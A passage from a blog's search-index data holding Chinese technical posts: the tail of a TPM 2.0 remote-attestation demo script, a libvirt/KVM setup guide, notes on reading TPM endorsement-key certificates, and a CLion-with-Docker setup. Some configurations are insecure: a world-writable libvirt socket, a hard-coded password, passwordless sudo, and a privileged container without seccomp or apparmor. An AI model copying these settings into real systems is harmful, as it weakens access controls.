s_d_pcrlist.txt cp s_d_pcrlist.txt $device_location/. rm -f s_d_pcrlist.txt software_status_string="Attestation data receipt from device" max_wait=60 wait_loop $max_wait attestation_quote.dat if [ $event_file_found == 0 ];then LOG_ERROR "$software_status_string" return 1 fi LOG_INFO "$software_status_string" event_file_found=0 software_status_string="Attestation signature receipt from device" max_wait=60 wait_loop $max_wait attestation_quote.signature if [ $event_file_found == 0 ];then LOG_ERROR "$software_status_string" return 1 fi LOG_INFO "$software_status_string" event_file_found=0 software_status_string="Attestation quote signature validation" tpm2_checkquote --public d_s_service_aik.pub --qualification "$NONCE" \\ --message attestation_quote.dat --signature attestation_quote.signature \\ --pcr pcr.bin -Q retval=$? rm -f attestation_quote.signature if [ $retval == 1 ];then LOG_ERROR "$software_status_string" return 1 fi LOG_INFO "$software_status_string" software_status_string="Verification of PCR from quote against golden reference" testpcr=`tpm2_print -t TPMS_ATTEST attestation_quote.dat | \\ grep pcrDigest | awk '{print $2}'` rm -f attestation_quote.dat if [ "$testpcr" == "$GOLDEN_PCR" ];then LOG_INFO "$software_status_string" else LOG_ERROR "$software_status_string" echo -e " \\e[97mDevice-PCR: $testpcr\\e[0m" echo -e " \\e[97mGolden-PCR: $GOLDEN_PCR\\e[0m" return 1 fi return 0}request_device_service() { # Start device service registration with device identity challenge request_device_service_status_string="Anonymous identity validation by Privacy-CA." device_node_identity_challenge if [ $? == 1 ];then LOG_ERROR "$request_device_service_status_string" rm -f d_s_service_aik.pub return 1 fi LOG_INFO "$request_device_service_status_string" # Check the device software state by getting a device quote request_device_service_status_string="Device system software validation." system_software_state_validation if [ $? == 1 ];then LOG_ERROR "$request_device_service_status_string" rm -f d_s_service_aik.pub return 1 fi LOG_INFO "$request_device_service_status_string" # Encrypt service data content and deliver echo "$SERVICE_CONTENT" > service-content.plain openssl rsautl -encrypt -inkey d_s_service_aik.pub -pubin \\ -in service-content.plain -out s_d_service_content.encrypted cp s_d_service_content.encrypted $device_location/. rm -f d_s_service_aik.pub rm -f s_d_service_content.encrypted rm -f service-content.plain LOG_INFO "Sending service-content: \\e[5m$SERVICE_CONTENT" return 0}tput scread -r -p "Demonstration purpose only, not for production. Continue? [y/N] " responsetput rctput elif [[ "$response" =~ ^([yY][eE][sS]|[yY])$ ]]then echo "===================== SERVICE-PROVIDER ====================="else exitficounter=1max_wait=60until [ $counter -gt $max_wait ]do ! test -f d_s_registration.txt device_registration_request=$? ! test -f d_s_service.txt device_service_request=$? status_string="Device registration request." if [ $device_registration_request == 1 ];then device_registration if [ $? == 1 ];then LOG_ERROR "$status_string" exit 1 fi LOG_INFO "$status_string" break elif [ $device_service_request == 1 ];then status_string="Device service request." request_device_service if [ $? == 1 ];then LOG_ERROR "$status_string" exit 1 fi LOG_INFO "$status_string" break else echo -ne "Waiting $1 seconds: $counter"'\\r' fi ((counter++)) sleep 1doneif [ $device_registration_request == 0 ];then if [ $device_service_request == 0 ];then LOG_ERROR "Exiting as there are no device requests to process" exit 1 fifi# No errorsexit 0 参考资料 UEFI启动和Bios(Legacy)启动的区别. https://blog.csdn.net/zhangxiangweide/article/details/95342334 TPM 1.2与2.0的特点. https://www.dell.com/support/kbdoc/zh-cn/000131631/tpm-1-2%E4%B8%8E2-0%E7%9A%84%E7%89%B9%E7%82%B9 BIOS工作原理. https://blog.csdn.net/maomaovv/article/details/1549819 https://docs.microsoft.com/en-us/windows/security/information-protection/tpm/switch-pcr-banks-on-tpm-2-0-devices https://github.com/tpm2-software/tpm2-tools/issues/1884 https://github.com/tpm2-software/tpm2-tools/issues/2181 https://zhuanlan.zhihu.com/p/33858479 https://www.mvndoc.com/c/com.github.microsoft/TSS.Java/tss/tpm/TPMS_CONTEXT.html https://www.cnblogs.com/embedded-linux/p/6716740.html https://tpm2-software.github.io/2020/06/12/Remote-Attestation-With-tpm2-tools.html#tools-and-utilities-used-from-the-tpm2-tools-project https://lxr.missinglinkelectronics.com/uboot/include/tpm-v2.h","link":"/2021/01/03/TPM2-0%E8%BF%9C%E7%A8%8B%E8%AF%81%E6%98%8E%E4%BB%BF%E7%9C%9F/"},{"title":"在Ubuntu下配置libvirt","text":"安装Libvirt主要参考相关资料[1]。 准备检查CPU是否支持虚拟化。如果 CPU 支持硬件虚拟化,该命令将输出一个大于零的数字,即 CPU 内核数。否则,如果输出是,0则表示 CPU 不支持硬件虚拟化。 1grep -Eoc '(vmx|svm)' /proc/cpuinfo 检查内核是否启用了KVM 1lsmod | grep -i kvm 安装KVM1sudo apt install qemu-kvm libvirt-daemon-system libvirt-clients bridge-utils virtinst virt-manager qemu-kvm - 为 KVM 管理程序提供硬件仿真的软件。 libvirt-daemon-system - 将 libvirt 守护进程作为系统服务运行的配置文件。 libvirt-clients - 用于管理虚拟化平台的软件。 bridge-utils - 一组用于配置以太网桥的命令行工具。 virtinst - 一组用于创建虚拟机的命令行工具。 virt-manager - 易于使用的 GUI 界面和支持命令行实用程序,用于通过 libvirt 管理虚拟机。 安装完成之后,确认libvirtd的启动。 1service libvirtd status 为了能够创建和管理虚拟机,需要将用户添加到libvirt和kvm组中。否则部分文件会提示Permission Denied。 12sudo usermod -aG libvirt $USERsudo usermod -aG kvm $USER 注销并重新登录,以便更新组成员身份。 网络在安装过程中会创建一个名为“virbr0”的网桥,该设备使用 NAT 将Guest连接到外部网络。使用下列命令查看: 1brctl show 如果想要使用桥接模式,则需要额外配置。Bridged_Networking。 创建虚拟机从菜单栏点击Virtual Machine Manager程序,或者命令行输入virt-manager启动。 点击File —> New Virtual Machine; 下载ubuntu的镜像,然后这里选择本地的ISO文件; 选择 VM 的内存和 CPU 设置 为虚拟机创建磁盘镜像,选择虚拟机的磁盘空间大小 设置虚拟机的名字。此处可以勾选“Customize configuration before install”,这样就可以自定义虚拟机的硬件配置。勾选之后点击finish即可进入到自定义配置界面。 至此虚拟机创建完成。 问题问题1 - Unable to connect to libvirt qemu:///system.该问题的主要原因是用户权限问题。因为libvirt-sock文件的权限为660,用户组为libvirt,所以其他用户是没有读写权限的。 解决方法:二选一即可 将当前用户加入到libvirt用户组。理论上注销即可生效,但在实际使用的时候,重启计算机才生效。 1234567# 通过usermod添加sudo usermod -aG libvirt <username>sudo usermod -aG kvm <username># Or 通过adduser添加sudo adduser <username> libvirtsudo adduser <username> kvm 直接修改该文件的权限为666 1sudo chmod 666 /var/run/libvirt/libvirt-sock 问题2 - Permission denied在创建虚拟机的时候出现如下日志。 1internal error: Failed to start QEMU binary /usr/local/bin/qemu-system-x86_64 for probing libvirt: error : cannot execute binary /usr/local/bin/qemu-system-x86_64: Permission denied 这很有可能是apparmor安全模块导致的。参照相关资料[4]中的描述进行检查。 查看apparmor的使用情况 1sudo aa-status 如果输出中出现了下列内容,则说明libvirt正被apparmor保护。 12345678...xx profiles are in enforce mode.... /usr/sbin/libvirtd...xx processes are in enforce mode. /usr/sbin/libvirtd... 分别编辑*/etc/apparmor.d/usr.sbin.libvirtd和/etc/apparmor.d/abstractions/libvirt-qemu*两个文件,加入如下内容(加入的可执行程序的路径,依据libvirt的错误日志填写)。 123456789101112131415161718 ...... # qemu相关指令 /usr/bin/kvm rmix, /usr/local/bin/qemu-system-sparc rmix, /usr/local/bin/qemu-system-sparc64 rmix, /usr/local/bin/qemu-system-x86_64 rmix, /usr/local/bin/qemu-system-xtensa rmix, /usr/local/bin/qemu-system-xtensaeb rmix, /usr/local/bin/qemu-img rmix, # swtpm相关指令 /usr/local/bin/swtpm rmix, /usr/local/bin/swtpm_bios rmix, /usr/local/bin/swtpm_cert rmix, /usr/local/bin/swtpm_cuse rmix, /usr/local/bin/swtpm_ioctl rmix, /usr/local/bin/swtpm_setup rmix, /usr/local/share/swtpm/swtpm-localca rmix,} 填写完成之后输入下列命令重新加载apparmor。 1sudo systemctl reload apparmor 之后再次尝试创建虚拟机,成功创建。 相关资料 How to Install Kvm on Ubuntu 20.04 KVM Virt-Manager Error: No active connection to Installed on KVM报错:Unable to connect to libvirt qemu:///system. 确定 ‘libvirtd’ 守护进程正在运行 Changing libvirt emulator: Permission denied QEMU Networking","link":"/2021/08/05/%E5%9C%A8Ubuntu%E4%B8%8B%E9%85%8D%E7%BD%AElibvirt/"},{"title":"记一次双系统配置TPM的过程","text":"前言既然是涉及双系统,这里也顺便记录下一个安装Win + Ubuntu双系统可能出现的问题:解决由于intelRST问题导致无法安装ubuntu。 写下此篇时,还未开始动手修改IBM ACS源代码,待日后实现了修改方案更新本文。 正篇起因 – IBM ACS发起注册失败之前都是在Vmware的虚拟机上模拟的TPM进行操作的,这一次是拿到了一台物理机,带物理TPM 2.0芯片。在装好Ubuntu之后,编译安装ibmtss和ibmacs(教程:IBM Attestation Client Server测试) 。 想要进行一次简单的证实测试,但是却出现了问题通过nvread读取EK相关的信息,全部都提示失败。 根据相关资料[3]的描述,可以得知厂商预设的EK相关信息是存储在NV区域的低地址空间。 直接读取nv区域: 通过其他工具读取EK Template\\Nonce\\Certificate 处理方法1 – 自签名EK自签名EK就没什么好说的了,但是这并不是一个安全的方式。 123# 将EK证书存储在TPM上tpm2_createek -P abc123 -w abc123 -c 0x81010009 -G rsa -u ek.pubtpm2_readpublic -c 0x81010009 处理方法2 – 远程EK证书该方式适合使用了Intel PTT技术的环境。 “Device-Node“ retrieving the endorsement-key-certificate to send to the “Privacy-CA“. There are two possible locations where the endorsement key certificates are provided by the TPM manufacturer. While most TPM manufacturers store them in the TCG specified NV indices , some make it available for download through a web hosting. Let’s look at both these methods. 1234567891011121314151617181920212223# Location 1 - TPM2 NV Index 0x1c00002 is the TCG specified location for RSA-EK-certificate.RSA_EK_CERT_NV_INDEX=0x01C00002NV_SIZE=`tpm2_nvreadpublic $RSA_EK_CERT_NV_INDEX | grep size | awk '{print $2}'`tpm2_nvread \\--hierarchy owner \\--size $NV_SIZE \\--output rsa_ek_cert.bin \\$RSA_EK_CERT_NV_INDEX# Location 2 - Web hosting. This applies specifically to Intel(R) PTT RSA-EK-certificate.# rsa_ek.pub is generated by myselftpm2_getekcertificate \\--ek-public rsa_ek.pub \\ --offline \\--allow-unverified \\--ek-certificate rsa_ek_cert.bin \\https://ekop.intel.com/ekcertservice/## convert to a standard DER formatsed 's/-/+/g;s/_/\\//g;s/%3D/=/g;s/^{.*certificate":"//g;s/"}$//g;' \\rsa_ek_cert.bin | base64 --decode > rsa_ek_cert.bin 处理方法3 – DAA由于DAA方式的证实,并不需要EK证书的参与,因此可以绕开无法获取EK证书的问题。但是IBM ACS默认是不支持DAA方式的,因此需要修改源码实现。 DAA的相关资料参考:TPM2.0 ECDAA方法测试 相关资料 Clearing TPM does not ask for new password, but “change owner password” asks for the old one TrustedPlatformModule TCG Credential Profile EK 2.0 - Trusted Computing Group Remote Attestation With Tpm2 Toolss tpm2_getekcertificate.1.md tpm2_createek.1.md","link":"/2021/05/29/%E8%AE%B0%E4%B8%80%E6%AC%A1%E5%8F%8C%E7%B3%BB%E7%BB%9F%E9%85%8D%E7%BD%AETPM%E7%9A%84%E8%BF%87%E7%A8%8B/"},{"title":"CLion基于Docker远程开发","text":"docker 环境本人已将配置好的 Docker 配置上传到了 docker hub,可以直接 pull。 1docker pull rlyown/cdev_host Dockerfilecdev_host >folded123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293FROM ubuntu:20.04ENV LANG=en_US.UTF-8ENV TZ=Asia/ShanghaiWORKDIR /ADD cgdb-0.7.1.tar.gz .RUN cp /etc/apt/sources.list /etc/apt/sources.list.bak \\ && echo "deb http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse" > /etc/apt/sources.list \\ && echo "deb-src http://mirrors.aliyun.com/ubuntu/ focal main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb-src http://mirrors.aliyun.com/ubuntu/ focal-security main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb-src http://mirrors.aliyun.com/ubuntu/ focal-updates main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb-src http://mirrors.aliyun.com/ubuntu/ focal-proposed main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse" >> /etc/apt/sources.list \\ && echo "deb-src http://mirrors.aliyun.com/ubuntu/ focal-backports main restricted universe multiverse" >> /etc/apt/sources.list \\ && ln -snf /usr/share/zoneinfo/$TZ /etc/localtime && echo $TZ > /etc/timezone \\ && apt-get update -y \\ && apt-get -y install gcc \\ gcc-multilib \\ g++ \\ gdb \\ nasm \\ automake \\ autoconf \\ libtool \\ make \\ cmake \\ ssh \\ ntp \\ vim \\ wget \\ curl \\ telnet \\ sudo \\ git \\ subversion \\ doxygen \\ lighttpd \\ net-tools \\ inetutils-ping \\ python \\ golang \\ libbz2-dev \\ libdb++-dev \\ libssl-dev \\ libdb-dev \\ libssl-dev \\ openssl \\ libreadline-dev \\ libcurl4-openssl-dev \\ libncurses-dev \\ autotools-dev \\ build-essential \\ libicu-dev \\ python-dev \\ libgmp-dev \\ libmpfr-dev \\ libmpc-dev \\ grub2 \\ libgcc-9-dev \\ xorriso \\ texinfo \\ bison \\ flex \\ rsync \\ && apt clean \\ && mkdir /var/run/sshd \\ && echo "Port 36000" >> /etc/ssh/sshd_config \\ && echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \\ && mkdir /home/bingo \\ && useradd -s /bin/bash bingo \\ && echo "bingo:123456" | chpasswd \\ && chown -R bingo:bingo /home/bingo \\ && echo "bingo ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers \\ && sed -ri 's/RSYNC_ENABLE=false/RSYNC_ENABLE=true/g' /etc/default/rsyncWORKDIR /cgdb-0.7.1/RUN ./autogen.sh \\ && ./configure \\ && make -srj4 \\ && make installWORKDIR /RUN rm -rf cgdb-0.7.1# Container should expose ports.EXPOSE 36000CMD ["/usr/sbin/sshd", "-D"] docker-compose.yml因为已经使用了本地端口映射的方式,因此不对网络进行配置。 12345678910111213141516171819202122232425version: "2.2"services: dev_host: container_name: dev_host image: rlyown/cdev_host security_opt: # options needed for gdb debugging - seccomp:unconfined - apparmor:unconfined ports: - 36000:36000 # ssh - 1234:1234 # gdb server volumes: - .:/home/bingo/Workdir privileged: true# networks:# extnetwork:# ipv4_address: 172.19.0.2##networks:# extnetwork:# ipam:# config:# - subnet: 172.19.0.0/16# gateway: 172.19.0.1 辅助脚本编写一个脚本来处理这些命令。 1234567891011#!/usr/bin/env bashaction=$1if [ "$action" = "enter" ]; then docker exec -it dev_host /bin/bashelif [ "$action" = "up" ]; then docker-compose -f docker-compose.yml up -delif [ "$action" = "down" ]; then docker-compose downfi CLion 配置在 CLion 的设置中,选择Build, Execution, Deployment中的Toolchains。 Credential 的配置如下(cdev_host 账户 bingo 对应的密码为123456): 然后修改CMake,新增一个配置并将Toolchain选项配置为刚刚创建好的cdev-host-remote。 最后修改Deployment,连接的配置不用怎么修改。主要修改的是Mappings和Excluded Paths。 Mapping将本地的项目目录映射到远程主机的目录。 如果使用的是 Docker 的 mount 方式,即通过 Volume 方式共享文件夹的话,则不需要通过网络同步。所以将项目目录添加到Excluded Paths中。 问题如果上述修改完之后出现了头文件找不到的情况,那么点击工具栏的Tools下的Resync with Remote Hosts选项,重新同步项目即可解决。(clion-and-remote-headers)","link":"/2021/05/08/CLion%E5%9F%BA%E4%BA%8EDocker%E8%BF%9C%E7%A8%8B%E5%BC%80%E5%8F%91/"}],"tags":[{"name":"CSAPP","slug":"CSAPP","link":"/tags/CSAPP/"},{"name":"C/C++","slug":"C-C","link":"/tags/C-C/"},{"name":"Kick Start 2020","slug":"Kick-Start-2020","link":"/tags/Kick-Start-2020/"},{"name":"Linux","slug":"Linux","link":"/tags/Linux/"},{"name":"IMA/EVM","slug":"IMA-EVM","link":"/tags/IMA-EVM/"},{"name":"Docker","slug":"Docker","link":"/tags/Docker/"},{"name":"DRTM","slug":"DRTM","link":"/tags/DRTM/"},{"name":"TPM","slug":"TPM","link":"/tags/TPM/"},{"name":"Remote Attestation","slug":"Remote-Attestation","link":"/tags/Remote-Attestation/"},{"name":"LSM","slug":"LSM","link":"/tags/LSM/"},{"name":"Nachos","slug":"Nachos","link":"/tags/Nachos/"},{"name":"Virtual Memory","slug":"Virtual-Memory","link":"/tags/Virtual-Memory/"},{"name":"Context of Execution","slug":"Context-of-Execution","link":"/tags/Context-of-Execution/"},{"name":"SysCall","slug":"SysCall","link":"/tags/SysCall/"},{"name":"Shell","slug":"Shell","link":"/tags/Shell/"},{"name":"Synchronization","slug":"Synchronization","link":"/tags/Synchronization/"},{"name":"FileSystem","slug":"FileSystem","link":"/tags/FileSystem/"},{"name":"Virtual Machine","slug":"Virtual-Machine","link":"/tags/Virtual-Machine/"},{"name":"DAA","slug":"DAA","link":"/tags/DAA/"},{"name":"KVM/QEMU","slug":"KVM-QEMU","link":"/tags/KVM-QEMU/"},{"name":"Libvirt","slug":"Libvirt","link":"/tags/Libvirt/"}],"categories":[{"name":"Operating System","slug":"Operating-System","link":"/categories/Operating-System/"},{"name":"Development","slug":"Development","link":"/categories/Development/"},{"name":"Kick Start","slug":"Kick-Start","link":"/categories/Kick-Start/"},{"name":"Trusted Computing","slug":"Trusted-Computing","link":"/categories/Trusted-Computing/"},{"name":"Virtualization","slug":"Virtualization","link":"/categories/Virtualization/"}],"pages":[]}